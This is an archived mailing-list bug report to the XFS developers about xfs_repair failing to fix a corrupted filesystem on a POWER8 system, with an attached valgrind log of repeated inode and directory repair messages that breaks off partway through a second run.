<52FA8021.9050604@linux.vnet.ibm.com> Date: Tue, 11 Feb 2014 11:55:13 -0800 From: Cody P Schafer User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR Content-Type: multipart/mixed; boundary="------------060604090100000501030309" X-ASG-Orig-Subj: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 14021119-5806-0000-0000-0000241BC8D9 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1392148528 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com This is a multi-part message in MIME format. --------------060604090100000501030309 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit xfsprogs version: v3.2.0-alpha2-14-g6e79202 uname: Linux hostname 3.11.10-301.fc20.ppc64 #1 SMP Tue Dec 10 00:35:15 MST 2013 ppc64 POWER8 (architected), altivec supported CHRP IBM,8286-42A GNU/Linux full log attached. --------------060604090100000501030309 Content-Type: text/x-log; name="xfs_repair_fail_valgrind.log" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xfs_repair_fail_valgrind.log" syncop8lp7 xfsprogs # valgrind ./repair/xfs_repair -n /dev/sda5 ==6601== Memcheck, a memory error detector ==6601== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al. ==6601== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info ==6601== Command: ./repair/xfs_repair -n /dev/sda5 ==6601== --6601-- WARNING: Serious error when reading debug info --6601-- When reading debug info from /usr/lib64/valgrind/memcheck-ppc64-linux: --6601-- Can't make sense of .eh_frame section mapping --6601-- WARNING: unhandled syscall: 62 --6601-- You may be able to write your own handler. --6601-- Read the file README_MISSING_SYSCALL_OR_IOCTL. --6601-- Nevertheless we consider this a bug. Please report --6601-- it at http://valgrind.org/support/bug_reports.html. --6601-- WARNING: unhandled syscall: 62 --6601-- You may be able to write your own handler. --6601-- Read the file README_MISSING_SYSCALL_OR_IOCTL. --6601-- Nevertheless we consider this a bug. Please report --6601-- it at http://valgrind.org/support/bug_reports.html. Phase 1 - find and verify superblock... Phase 2 - using internal log - scan filesystem freespace and inode maps... - found root inode chunk would have cleared inode 134685059 data fork in regular inode 134685060 claims used block 8438124 correcting nextents for inode 134685060 bad data fork in inode 134685060 would have cleared inode 134685060 data fork in regular inode 134685061 claims used block 8438127 correcting nextents for inode 134685061 bad data fork in inode 134685061 would have cleared inode 134685061 data fork in regular inode 134685062 claims used block 8438131 correcting nextents for inode 134685062 bad data fork in inode 134685062 would have cleared inode 134685062 data fork in regular inode 134685063 claims used block 8438136 correcting nextents for inode 134685063 bad data fork in inode 134685063 would have cleared inode 134685063 data fork in regular inode 134685064 claims used block 8438140 correcting nextents for inode 134685064 bad data fork in inode 134685064 would have cleared inode 134685064 data fork in regular inode 134685065 claims used block 8438144 correcting nextents for inode 134685065 bad data fork in inode 134685065 would have cleared inode 134685065 data fork in regular inode 134685066 claims used block 8438147 correcting nextents for inode 134685066 bad data fork in inode 134685066 would have cleared inode 134685066 data fork in regular inode 134685067 claims used block 8438150 correcting nextents for inode 134685067 bad data fork in inode 134685067 would have cleared inode 134685067 data fork in regular inode 134685068 claims used block 8438154 correcting nextents for inode 134685068 bad data fork in inode 134685068 would have cleared inode 134685068 data fork in regular inode 134685069 claims used block 8438157 correcting nextents for inode 134685069 bad data fork in inode 134685069 would have cleared inode 134685069 data fork in regular inode 134685070 claims used block 8438161 correcting nextents for inode 134685070 bad data fork in inode 134685070 would have cleared inode 134685070 data fork in regular inode 134685071 claims used block 8438164 correcting nextents for inode 134685071 bad data fork in inode 134685071 would have cleared inode 134685071 bad . entry in directory inode 134754783, was 134779771: would correct bad nblocks 3 for inode 135280001, would reset to 17 bad nblocks 74 for inode 135280003, would reset to 1 bad nblocks 49 for inode 135280005, would reset to 2 bad nblocks 2 for inode 135280006, would reset to 1 inode 135280007 - extent offset too large - start 8567439, count 69, offset 15534687187369984 correcting nextents for inode 135280007 bad data fork in inode 135280007 would have cleared inode 135280007 bad nblocks 8 for inode 135280008, would reset to 1 bad nblocks 7 for inode 135280009, would reset to 1 bad nblocks 12 for inode 135280010, would reset to 1 bad nblocks 12 for inode 135280011, would reset to 1 bad nblocks 19 for inode 135280014, would reset to 1 bad nblocks 12 for inode 135280015, would reset to 1 data fork in regular inode 137150480 claims used block 8577327 correcting nextents for inode 137150480 bad data fork in inode 137150480 would have cleared inode 137150480 data fork in regular inode 137150481 claims used block 8586960 correcting nextents for inode 137150481 bad data fork in inode 137150481 would have cleared inode 137150481 data fork in regular inode 137150482 claims used block 8586977 correcting nextents for inode 137150482 bad data fork in inode 137150482 would have cleared inode 137150482 data fork in regular inode 137150483 claims used block 8572108 correcting nextents for inode 137150483 bad data fork in inode 137150483 would have cleared inode 137150483 data fork in regular inode 137150484 claims used block 8572109 correcting nextents for inode 137150484 bad data fork in inode 137150484 would have cleared inode 137150484 data fork in regular inode 137150485 claims used block 8572114 correcting nextents for inode 137150485 bad data fork in inode 137150485 would have cleared inode 137150485 data fork in regular inode 137150486 claims used block 8572116 correcting nextents for inode 137150486 bad data fork in inode 137150486 would have cleared inode 137150486 data fork in regular inode 137150488 claims used block 8577514 correcting nextents for inode 137150488 bad data fork in inode 137150488 would have cleared inode 137150488 data fork in regular inode 137150489 claims used block 8578212 correcting nextents for inode 137150489 bad data fork in inode 137150489 would have cleared inode 137150489 data fork in regular inode 137150490 claims used block 8578429 correcting nextents for inode 137150490 bad data fork in inode 137150490 would have cleared inode 137150490 data fork in regular inode 137150491 claims used block 8578968 correcting nextents for inode 137150491 bad data fork in inode 137150491 would have cleared inode 137150491 data fork in regular inode 137150492 claims used block 8578969 correcting nextents for inode 137150492 bad data fork in inode 137150492 would have cleared inode 137150492 data fork in regular inode 137150493 claims used block 8578970 correcting nextents for inode 137150493 bad data fork in inode 137150493 would have cleared inode 137150493 data fork in regular inode 137150494 claims used block 8578971 correcting nextents for inode 137150494 bad data fork in inode 137150494 would have cleared inode 137150494 data fork in regular inode 137150495 claims used block 8578972 correcting nextents for inode 137150495 bad data fork in inode 137150495 would have cleared inode 137150495 - agno = 3 would have cleared inode 77579760 data fork in ino 77579761 claims dup extent, off - 0, start - 8438117, cnt 3 correcting nextents for inode 77579761 bad data fork in inode 77579761 would have cleared inode 77579761 data fork in ino 77579762 claims dup extent, off - 0, start - 8438120, cnt 1 correcting nextents for inode 77579762 bad data fork in inode 77579762 would have cleared inode 77579762 data fork in ino 77579763 claims dup extent, off - 0, start - 8438121, cnt 3 correcting nextents for inode 77579763 bad data fork in inode 77579763 would have cleared inode 77579763 data fork in ino 77579764 claims dup extent, off - 0, start - 8438124, cnt 3 correcting nextents for inode 77579764 bad data fork in inode 77579764 would have cleared inode 77579764 data fork in ino 77579765 claims dup extent, off - 0, start - 8438127, cnt 4 correcting nextents for inode 77579765 bad data fork in inode 77579765 would have cleared inode 77579765 data fork in ino 77579766 claims dup extent, off - 0, start - 8438131, cnt 5 correcting nextents for inode 77579766 bad data fork in inode 77579766 would have cleared inode 77579766 data fork in ino 77579767 claims dup extent, off - 0, start - 8438136, cnt 4 correcting nextents for inode 77579767 bad data fork in inode 77579767 would have cleared inode 77579767 data fork in ino 77579768 claims dup extent, off - 0, start - 8438140, cnt 4 correcting nextents for inode 77579768 bad data fork in inode 77579768 would have cleared inode 77579768 data fork in ino 77579769 claims dup extent, off - 0, start - 8438144, cnt 3 correcting nextents for inode 77579769 bad data fork in inode 77579769 would have cleared inode 77579769 data fork in ino 77579770 claims dup extent, off - 0, start - 8438147, cnt 3 correcting nextents for inode 77579770 bad data fork in inode 77579770 would have cleared inode 77579770 data fork in ino 77579771 claims dup extent, off - 0, start - 8438150, cnt 4 correcting nextents for inode 77579771 bad data fork in inode 77579771 would have cleared inode 77579771 data fork in ino 77579772 claims dup extent, off - 0, start - 8438154, cnt 3 correcting nextents for inode 77579772 bad data fork in inode 77579772 would have cleared inode 77579772 data fork in ino 77579773 claims dup extent, off - 0, start - 8438157, cnt 4 correcting nextents for inode 77579773 bad data fork in inode 77579773 would have cleared inode 77579773 data fork in ino 77579774 claims dup extent, off - 0, start - 8438161, cnt 3 correcting nextents for inode 77579774 bad data fork in inode 77579774 would have cleared inode 77579774 data fork in ino 77579775 claims dup extent, off - 0, start - 8438164, cnt 3 correcting nextents for inode 77579775 bad data fork in inode 77579775 would have cleared inode 77579775 entry "zipgrep" at block 8 offset 2224 in directory inode 134320266 references free inode 137150483 would clear inode number in entry at offset 2224... entry "gnome-font-viewer.mo" at block 0 offset 1024 in directory inode 134322940 references free inode 137150489 would clear inode number in entry at offset 1024... entry "gnome-font-viewer.mo" at block 1 offset 1272 in directory inode 134322941 references free inode 137150493 would clear inode number in entry at offset 1272... entry "gnome-font-viewer.mo" at block 1 offset 2304 in directory inode 134322942 references free inode 137150495 would clear inode number in entry at offset 2304... entry "libbonobo-2.0.mo" at block 0 offset 1024 in directory inode 134322950 references free inode 134685057 would clear inode number in entry at offset 1024... entry "libbonobo-2.0.mo" at block 0 offset 1016 in directory inode 134322951 references free inode 134685060 would clear inode number in entry at offset 1016... entry "libbonobo-2.0.mo" at block 0 offset 1496 in directory inode 134322952 references free inode 134685065 would clear inode number in entry at offset 1496... entry "libbonobo-2.0.mo" at block 0 offset 1472 in directory inode 134322953 references free inode 134685068 would clear inode number in entry at offset 1472... entry "libbonobo-2.0.mo" at block 0 offset 1640 in directory inode 134322954 references free inode 134685069 would clear inode number in entry at offset 1640... entry "libbonobo-2.0.mo" at block 0 offset 1304 in directory inode 134322955 references free inode 134685070 would clear inode number in entry at offset 1304... entry "libbonobo-2.0.mo" at block 0 offset 680 in directory inode 134322956 references free inode 134685071 would clear inode number in entry at offset 680... entry "gnome-font-viewer.mo" at block 0 offset 3168 in directory inode 134323184 references free inode 137150488 would clear inode number in entry at offset 3168... entry "gnome-font-viewer.mo" at block 0 offset 2928 in directory inode 134323192 references free inode 137150490 would clear inode number in entry at offset 2928... entry "gnome-font-viewer.mo" at block 0 offset 2488 in directory inode 134323198 references free inode 137150491 would clear inode number in entry at offset 2488... entry "gnome-font-viewer.mo" at block 0 offset 3048 in directory inode 134323200 references free inode 137150492 would clear inode number in entry at offset 3048... entry "gnome-font-viewer.mo" at block 0 offset 2200 in directory inode 134323204 references free inode 137150494 would clear inode number in entry at offset 2200... entry "libbonobo-2.0.mo" at block 0 offset 544 in directory inode 134323299 references free inode 134685056 would clear inode number in entry at offset 544... entry "libbonobo-2.0.mo" at block 0 offset 472 in directory inode 134323305 references free inode 134685058 would clear inode number in entry at offset 472... entry "libbonobo-2.0.mo" at block 0 offset 144 in directory inode 134323311 references free inode 134685059 would clear inode number in entry at offset 144... entry "libbonobo-2.0.mo" at block 0 offset 472 in directory inode 134323326 references free inode 134685061 would clear inode number in entry at offset 472... entry "libbonobo-2.0.mo" at block 0 offset 704 in directory inode 134323327 references free inode 134685062 would clear inode number in entry at offset 704... entry "libbonobo-2.0.mo" at block 0 offset 544 in directory inode 134323363 references free inode 134685063 would clear inode number in entry at offset 544... entry "libbonobo-2.0.mo" at block 0 offset 344 in directory inode 134323374 references free inode 134685064 would clear inode number in entry at offset 344... entry "libbonobo-2.0.mo" at block 0 offset 472 in directory inode 134323378 references free inode 134685066 would clear inode number in entry at offset 472... entry "libbonobo-2.0.mo" at block 0 offset 704 in directory inode 134323387 references free inode 134685067 would clear inode number in entry at offset 704... entry "unzip.1.gz" at block 9 offset 2136 in directory inode 134323469 references free inode 137150484 would clear inode number in entry at offset 2136... entry "unzipsfx.1.gz" at block 9 offset 2200 in directory inode 134323469 references free inode 137150485 would clear inode number in entry at offset 2200... entry "zipgrep.1.gz" at block 9 offset 2256 in directory inode 134323469 references free inode 137150486 would clear inode number in entry at offset 2256... data fork in ino 134685056 claims dup extent, off - 0, start - 8438113, cnt 4 correcting nextents for inode 134685056 bad data fork in inode 134685056 would have cleared inode 134685056 data fork in ino 134685057 claims dup extent, off - 0, start - 8438117, cnt 3 correcting nextents for inode 134685057 bad data fork in inode 134685057 would have cleared inode 134685057 would have cleared inode 134685063 data fork in ino 134685064 claims dup extent, off - 0, start - 8438140, cnt 4 correcting nextents for inode 134685064 bad data fork in inode 134685064 would have cleared inode 134685064 data fork in ino 134685065 claims dup extent, off - 0, start - 8438144, cnt 3 correcting nextents for inode 134685065 bad data fork in inode 134685065 would have cleared inode 134685065 data fork in ino 134685066 claims dup extent, off - 0, start - 8438147, cnt 3 correcting nextents for inode 134685066 bad data fork in inode 134685066 would have cleared inode 134685066 data fork in ino 134685067 claims dup extent, off - 0, start - 8438150, cnt 4 correcting nextents for inode 134685067 bad data fork in inode 134685067 would have cleared inode 134685067 data fork in ino 134685068 claims dup extent, off - 0, start - 8438154, cnt 3 correcting nextents for inode 134685068 bad data fork in inode 134685068 would have cleared inode 134685068 data fork in ino 134685069 claims dup extent, off - 0, start - 8438157, cnt 4 correcting nextents for inode 134685069 bad data fork in inode 134685069 would have cleared inode 134685069 data fork in ino 134685070 claims dup extent, off - 0, start - 8438161, cnt 3 correcting nextents for inode 134685070 bad data fork in inode 134685070 would have cleared inode 134685070 data fork in ino 134685071 claims dup extent, off - 0, start - 8438164, cnt 3 correcting nextents for inode 134685071 bad data fork in inode 134685071 would have cleared inode 134685071 bad . entry in directory inode 134754783, was 134779771: would correct data fork in ino 135280000 claims dup extent, off - 0, start - 8577327, cnt 17 correcting nextents for inode 135280000 bad data fork in inode 135280000 would have cleared inode 135280000 data fork in ino 135280001 claims dup extent, off - 0, start - 8586960, cnt 17 correcting nextents for inode 135280001 bad data fork in inode 135280001 would have cleared inode 135280001 data fork in ino 135280003 claims dup extent, off - 0, start - 8572108, cnt 1 correcting nextents for inode 135280003 bad data fork in inode 135280003 would have cleared inode 135280003 data fork in ino 135280004 claims dup extent, off - 0, start - 8572109, cnt 5 correcting nextents for inode 135280004 bad data fork in inode 135280004 would have cleared inode 135280004 data fork in ino 135280005 claims dup extent, off - 0, start - 8572114, cnt 2 correcting nextents for inode 135280005 bad data fork in inode 135280005 would have cleared inode 135280005 data fork in ino 135280006 claims dup extent, off - 0, start - 8572116, cnt 1 correcting nextents for inode 135280006 bad data fork in inode 135280006 would have cleared inode 135280006 inode 135280007 - extent offset too large - start 8567439, count 69, offset 15534687187369984 correcting nextents for inode 135280007 bad data fork in inode 135280007 would have cleared inode 135280007 data fork in ino 135280008 claims dup extent, off - 0, start - 8577514, cnt 1 correcting nextents for inode 135280008 bad data fork in inode 135280008 would have cleared inode 135280008 data fork in ino 135280009 claims dup extent, off - 0, start - 8578212, cnt 1 correcting nextents for inode 135280009 bad data fork in inode 135280009 would have cleared inode 135280009 data fork in ino 135280010 claims dup extent, off - 0, start - 8578429, cnt 1 correcting nextents for inode 135280010 bad data fork in inode 135280010 would have cleared inode 135280010 data fork in ino 135280011 claims dup extent, off - 0, start - 8578968, cnt 1 correcting nextents for inode 135280011 bad data fork in inode 135280011 would have cleared inode 135280011 data fork in ino 135280012 claims dup extent, off - 0, start - 8578969, cnt 1 correcting nextents for inode 135280012 bad data fork in inode 135280012 would have cleared inode 135280012 data fork in ino 135280013 claims dup extent, off - 0, start - 8578970, cnt 1 correcting nextents for inode 135280013 bad data fork in inode 135280013 would have cleared inode 135280013 data fork in ino 135280014 claims dup extent, off - 0, start - 8578971, cnt 1 correcting nextents for inode 135280014 bad data fork in inode 135280014 would have cleared inode 135280014 data fork in ino 135280015 claims dup extent, off - 0, start - 8578972, cnt 1 correcting nextents for inode 135280015 bad data fork in inode 135280015 would have cleared inode 135280015 data fork in ino 137150480 claims dup extent, off - 0, start - 8577327, cnt 17 correcting nextents for inode 137150480 bad data fork in inode 137150480 would have cleared inode 137150480 data fork in ino 137150481 claims dup extent, off - 0, start - 8586960, cnt 17 correcting nextents for inode 137150481 bad data fork in inode 137150481 would have cleared inode 137150481 data fork in regular inode 137150482 claims used block 8586977 correcting nextents for inode 137150482 would have cleared inode 137150482 data fork in ino 137150483 claims dup extent, off - 0, start - 8572108, cnt 1 correcting nextents for inode 137150483 bad data fork in inode 137150483 would have cleared inode 137150483 data fork in ino 137150484 claims dup extent, off - 0, start - 8572109, cnt 5 correcting nextents for inode 137150484 bad data fork in inode 137150484 would have cleared inode 137150484 data fork in ino 137150485 claims dup extent, off - 0, start - 8572114, cnt 2 correcting nextents for inode 137150485 bad data fork in inode 137150485 would have cleared inode 137150485 data fork in ino 137150486 claims dup extent, off - 0, start - 8572116, cnt 1 correcting nextents for inode 137150486 bad data fork in inode 137150486 would have cleared inode 137150486 data fork in ino 137150488 claims dup extent, off - 0, start - 8577514, cnt 1 correcting nextents for inode 137150488 bad data fork in inode 137150488 would have cleared inode 137150488 bad data fork in inode 137150490 would have cleared inode 137150490 data fork in ino 137150491 claims dup extent, off - 0, start - 8578968, cnt 1 correcting nextents for inode 137150491 bad data fork in inode 137150491 would have cleared inode 137150491 data fork in ino 137150492 claims dup extent, off - 0, start - 8578969, cnt 1 correcting nextents for inode 137150492 bad data fork in inode 137150492 would have cleared inode 137150492 data fork in ino 137150493 claims dup extent, off - 0, start - 8578970, cnt 1 correcting nextents for inode 137150493 bad data fork in inode 137150493 would have cleared inode 137150493 data fork in ino 137150494 claims dup extent, off - 0, start - 8578971, cnt 1 correcting nextents for inode 137150494 bad data fork in inode 137150494 would have cleared inode 137150494 data fork in ino 137150495 claims dup extent, off - 0, start - 8578972, cnt 1 correcting nextents for inode 137150495 bad data fork in inode 137150495 would have cleared inode 137150495 No modify flag set, skipping phase 5 Phase 6 - check inode connectivity... - traversing filesystem ... entry "system.d" in shortform directory inode 67687581 points to free inode 135280000 would junk entry entry "hwspinlock" in dir inode 70039312 inconsistent with .. value (70042219) in ino 134754783 would clear entry "hwspinlock" entry, would junk entry.ko" in directory inode 77579738 points to free inode 77579760 entry , would junk entry.ko" in directory inode 77579738 points to free inode 77579761 entry , would junk entry.ko" in directory inode 77579738 points to free inode 77579762 entry "nf_nat.ko" in directory inode 77579738 points to free inode 77579763, would junk entry en, would junk entry.ko" in directory inode 77579738 points to free inode 77579764 entry "nf_nat_ftp.ko" in directory inode 77579738 points to free inode 77579765, would junk entry entry "nf_nat_irc.ko" in directory inode 77579738 points to free inode 77579766, would junk entry entry , would junk entry.ko" in directory inode 77579738 points to free inode 77579767 entry , would junk entry.ko" in directory inode 77579738 points to free inode 77579768 entry "nf, would junk entry.ko" in directory inode 77579738 points to free inode 77579769 entry "nf_nat_sip.ko" in directory inode 77579738 points to free inode 77579770, would junk entry entry "nf_nat_tftp.ko" in directory inode 77579738 points to free inode 77579771, would junk entry entry "nfnetlink.ko" in directory inode 77579738 points to free inode 77579772, would junk entry ent, would junk entry.ko" in directory inode 77579738 points to free inode 77579773 entry ", would junk entry.ko" in directory inode 77579738 points to free inode 77579774 en, would junk entry.ko" in directory inode 77579738 points to free inode 77579775 bad hash table for directory inode 77579738 (no data entry): would rebuild entry "attr" in directory inode 134320266 points to free inode 137150480, would junk entry entry "db_deadlock" in directory inode 134320266 points to free inode 137150481, would junk entry entry "db_stat" in directory inode 134320266 points to free inode 137150482, would junk entry entry "zipgrep" in directory inode 134320266 points to free inode 137150483, would junk entry entry "g, would junk entryo" in directory inode 134322940 points to free inode 137150489 bad hash table for directory inode 134322940 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134322941 points to free inode 137150493 bad hash table for directory inode 134322941 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134322942 points to free inode 137150495 bad hash table for directory inode 134322942 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322950 points to free inode 134685057 bad hash table for directory inode 134322950 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322951 points to free inode 134685060 bad hash table for directory inode 134322951 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322952 points to free inode 134685065 bad hash table for directory inode 134322952 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322953 points to free inode 134685068 bad hash table for directory inode 134322953 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322954 points to free inode 134685069 bad hash table for directory inode 134322954 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322955 points to free inode 134685070 bad hash table for directory inode 134322955 (no data entry): would rebuild entr, would junk entryo" in directory inode 134322956 points to free inode 134685071 bad hash table for directory inode 134322956 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134323184 points to free inode 137150488 bad hash table for directory inode 134323184 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134323192 points to free inode 137150490 bad hash table for directory inode 134323192 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134323198 points to free inode 137150491 bad hash table for directory inode 134323198 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134323200 points to free inode 137150492 bad hash table for directory inode 134323200 (no data entry): would rebuild entry "g, would junk entryo" in directory inode 134323204 points to free inode 137150494 bad hash table for directory inode 134323204 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323299 points to free inode 134685056 bad hash table for directory inode 134323299 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323305 points to free inode 134685058 bad hash table for directory inode 134323305 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323311 points to free inode 134685059 bad hash table for directory inode 134323311 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323326 points to free inode 134685061 bad hash table for directory inode 134323326 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323327 points to free inode 134685062 bad hash table for directory inode 134323327 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323363 points to free inode 134685063 bad hash table for directory inode 134323363 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323374 points to free inode 134685064 bad hash table for directory inode 134323374 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323378 points to free inode 134685066 bad hash table for directory inode 134323378 (no data entry): would rebuild entr, would junk entryo" in directory inode 134323387 points to free inode 134685067 bad hash table for directory inode 134323387 (no data entry): would rebuild entry "unzip.1.gz" in directory inode 134323469 points to free inode 137150484, would junk entry e, would junk entryz" in directory inode 134323469 points to free inode 137150485 entry "zipgrep.1.gz" in directory inode 134323469 points to free inode 137150486, would junk entry entry "." in dir 134754783 points to an already connected directory inode 134779771 would clear entry "." would create missing "." entry in dir ino 134754783 entry "yum" in directory inode 135117175 points to free inode 135280004, would junk entry bad hash table for directory inode 135117175 (no data entry): would rebuild - traversal finished ... - moving disconnected inodes to lost+found ... disconnected inode 134555749, would move to lost+found disconnected inode 134748865, would move to lost+found disconnected inode 134748917, would move to lost+found disconnected dir inode 134754783, would move to lost+found disconnected inode 134765632, would move to lost+found disconnected inode 134765633, would move to lost+found disconnected inode 134765634, would move to lost+found disconnected inode 134765635, would move to lost+found disconnected inode 134765636, would move to lost+found disconnected inode 134765637, would move to lost+found disconnected inode 135280016, would move to lost+found disconnected inode 135280017, would move to lost+found disconnected inode 135280018, would move to lost+found disconnected inode 135280019, would move to lost+found disconnected inode 135280020, would move to lost+found disconnected inode 135280021, would move to lost+found disconnected inode 135280022, would move to lost+found disconnected inode 135280037, would move to lost+found disconnected inode 135280038, would move to lost+found disconnected inode 135280039, would move to lost+found disconnected inode 135280040, would move to lost+found disconnected inode 135280041, would move to lost+found disconnected inode 135280042, would move to lost+found disconnected inode 135280043, would move to lost+found disconnected inode 135280044, would move to lost+found disconnected inode 135280045, would move to lost+found disconnected inode 135280046, would move to lost+found disconnected inode 135280047, would move to lost+found disconnected inode 135280048, would move to lost+found disconnected inode 135280049, would move to lost+found disconnected inode 135280050, would move to lost+found disconnected inode 135280051, would move to lost+found disconnected inode 135280052, would move to lost+found disconnected inode 135280053, would move to lost+found disconnected inode 135280054, would move to lost+found disconnected inode 135280055, would move to lost+found disconnected inode 135280056, would move to lost+found disconnected inode 135280057, would move to lost+found disconnected inode 135280058, would move to lost+found disconnected inode 135280059, would move to lost+found disconnected inode 135280060, would move to lost+found disconnected inode 135280061, would move to lost+found disconnected inode 135280062, would move to lost+found disconnected inode 135280063, would move to lost+found disconnected inode 135280064, would move to lost+found disconnected inode 135280065, would move to lost+found disconnected inode 135280066, would move to lost+found disconnected inode 135280067, would move to lost+found disconnected inode 135280257, would move to lost+found disconnected inode 135280258, would move to lost+found disconnected inode 135338277, would move to lost+found disconnected inode 135338278, would move to lost+found disconnected inode 135338284, would move to lost+found disconnected inode 135338286, would move to lost+found disconnected inode 135338287, would move to lost+found disconnected inode 135338288, would move to lost+found disconnected inode 135338289, would move to lost+found disconnected inode 135338366, would move to lost+found disconnected inode 135361331, would move to lost+found disconnected inode 135418058, would move to lost+found disconnected inode 135424793, would move to lost+found disconnected inode 135424797, would move to lost+found disconnected inode 135470020, would move to lost+found disconnected inode 135470025, would move to lost+found disconnected inode 135470033, would move to lost+found disconnected inode 135470037, would move to lost+found disconnected inode 135470050, would move to lost+found disconnected inode 135495346, would move to lost+found disconnected inode 135495495, would move to lost+found disconnected inode 135495496, would move to lost+found disconnected inode 135525755, would move to lost+found disconnected inode 135525845, would move to lost+found disconnected inode 135648551, would move to lost+found disconnected inode 135648552, would move to lost+found disconnected inode 135648553, would move to lost+found disconnected inode 135648600, would move to lost+found disconnected inode 135648676, would move to lost+found disconnected inode 135648678, would move to lost+found disconnected inode 135648679, would move to lost+found disconnected inode 135653700, would move to lost+found disconnected inode 135653716, would move to lost+found disconnected inode 135701266, would move to lost+found disconnected inode 135710889, would move to lost+found disconnected inode 135711371, would move to lost+found disconnected inode 135841274, would move to lost+found disconnected inode 135841275, would move to lost+found disconnected inode 136103192, would move to lost+found disconnected inode 136250457, would move to lost+found disconnected inode 136374233, would move to lost+found disconnected inode 136413756, would move to lost+found disconnected inode 137150557, would move to lost+found disconnected inode 137160438, would move to lost+found disconnected inode 137160523, would move to lost+found disconnected inode 137167242, would move to lost+found Phase 7 - verify link counts... would have reset inode 67687581 nlinks from 4 to 3 would have reset inode 70039312 nlinks from 114 to 113 would have reset inode 134779772 nlinks from 1 to 2 would have reset inode 134779773 nlinks from 1 to 2 would have reset inode 134779774 nlinks from 1 to 2 would have reset inode 134779775 nlinks from 1 to 2 would have reset inode 134780032 nlinks from 1 to 2 would have reset inode 134780033 nlinks from 1 to 2 would have reset inode 135117175 nlinks from 49 to 48 would have reset inode 202927847 nlinks from 6 to 5 No modify flag set, skipping filesystem flush and exiting. ==6601== ==6601== HEAP SUMMARY: ==6601== in use at exit: 88,349,232 bytes in 55,012 blocks ==6601== total heap usage: 1,434,708 allocs, 1,379,696 frees, 451,243,273 bytes allocated ==6601== ==6601== LEAK SUMMARY: ==6601== definitely lost: 3,744 bytes in 11 blocks ==6601== indirectly lost: 256 bytes in 4 blocks ==6601== possibly lost: 0 bytes in 0 blocks ==6601== still reachable: 88,345,232 bytes in 54,997 blocks ==6601== suppressed: 0 bytes in 0 blocks ==6601== ==6601== For counts of detected and suppressed errors, rerun with: -v ==6601== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) syncop8lp7 xfsprogs # valgrind ./repair/xfs_repair /dev/sda5 ==6700== Memcheck, a memory error detector ==6700== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al. ==6700== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info ==6700== Command: ./repair/xfs_repair /dev/sda5 ==6700== --6700-- WARNING: Serious error when reading debug info --6700-- When reading debug info from /usr/lib64/valgrind/memcheck-ppc64-linux: --6700-- Can't make sense of .eh_frame section mapping --6700-- WARNING: unhandled syscall: 62 --6700-- You may be able to write your own handler. --6700-- Read the file README_MISSING_SYSCALL_OR_IOCTL. --6700-- Nevertheless we consider this a bug. Please report --6700-- it at http://valgrind.org/support/bug_reports.html. --6700-- WARNING: unhandled syscall: 62 --6700-- You may be able to write your own handler. --6700-- Read the file README_MISSING_SYSCALL_OR_IOCTL. --6700-- Nevertheless we consider this a bug. Please report --6700-- it at http://valgrind.org/support/bug_reports.html. Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 data fork in regular inode 134685056 claims used block 8438113 correcting nextents for inode 134685056 bad data fork in inode 134685056 cleared inode 134685056 data fork in regular inode 134685057 claims used block 8438117 correcting nextents for inode 134685057 bad data fork in inode 134685057 cleared inode 134685057 data fork in regular inode 134685058 claims used block 8438120 correcting nextents for inode 134685058 bad data fork in inode 134685058 cleared inode 134685058 data fork in regular inode 134685059 claims used block 8438121 correcting nextents for inode 134685059 bad data fork in inode 134685059 cleared inode 134685059 data fork in regular inode 134685060 claims used block 8438124 correcting nextents for inode 134685060 bad data fork in inode 134685060 cleared inode 134685060 data fork in regular inode 134685061 claims used block 8438127 correcting nextents for inode 134685061 bad data fork in inode 134685061 cleared inode 134685061 data fork in regular inode 134685062 claims used block 8438131 correcting nextents for inode 134685062 bad data fork in inode 134685062 cleared inode 134685062 data fork in regular inode 134685063 claims used block 8438136 correcting nextents for inode 134685063 bad data fork in inode 134685063 cleared inode 134685063 data fork in regular inode 134685064 claims used block 8438140 correcting nextents for inode 134685064 bad data fork in inode 134685064 cleared inode 134685064 data fork in regular inode 134685065 claims used block 8438144 correcting nextents for inode 134685065 bad data fork in inode 134685065 cleared inode 134685065 data fork in regular inode 134685066 claims used block 8438147 correcting nextents for inode 134685066 bad data fork in inode 134685066 